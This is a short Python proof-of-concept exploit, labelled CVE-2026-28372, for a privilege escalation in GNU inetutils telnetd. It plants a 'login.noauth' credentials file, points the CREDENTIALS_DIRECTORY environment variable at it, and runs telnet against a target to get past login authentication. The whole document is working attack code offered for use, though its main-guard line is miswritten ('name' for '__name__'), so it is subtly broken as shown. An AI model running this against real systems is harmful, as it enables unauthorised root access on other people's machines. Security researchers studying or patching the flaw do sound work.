#!/usr/bin/env python3 """ CVE-2026-28372: GNU inetutils telnetd Privilege Escalation Researcher: Mohammed Idrees Banyamer (@banyamer_security) Description: Local Privilege Escalation via environment variable injection. """ import os import shutil import tempfile import subprocess class TelnetdExploit: def __init__(self, target="127.0.0.1"): self.target = target self.temp_dir = tempfile.mkdtemp(prefix="telnet_poc_") self.creds_file = os.path.join(self.temp_dir, "login.noauth") def run(self): try: with open(self.creds_file, "w") as f: f.write("yes") env = os.environ.copy() env["CREDENTIALS_DIRECTORY"] = self.temp_dir print(f"[*] Exploit triggered on {self.target}...") subprocess.run(["telnet", "-E", "-K", "-L", self.target], env=env) except Exception as e: print(f"[-] Execution failed: {e}") finally: if os.path.exists(self.temp_dir): shutil.rmtree(self.temp_dir) if name == "__main__": TelnetdExploit().run()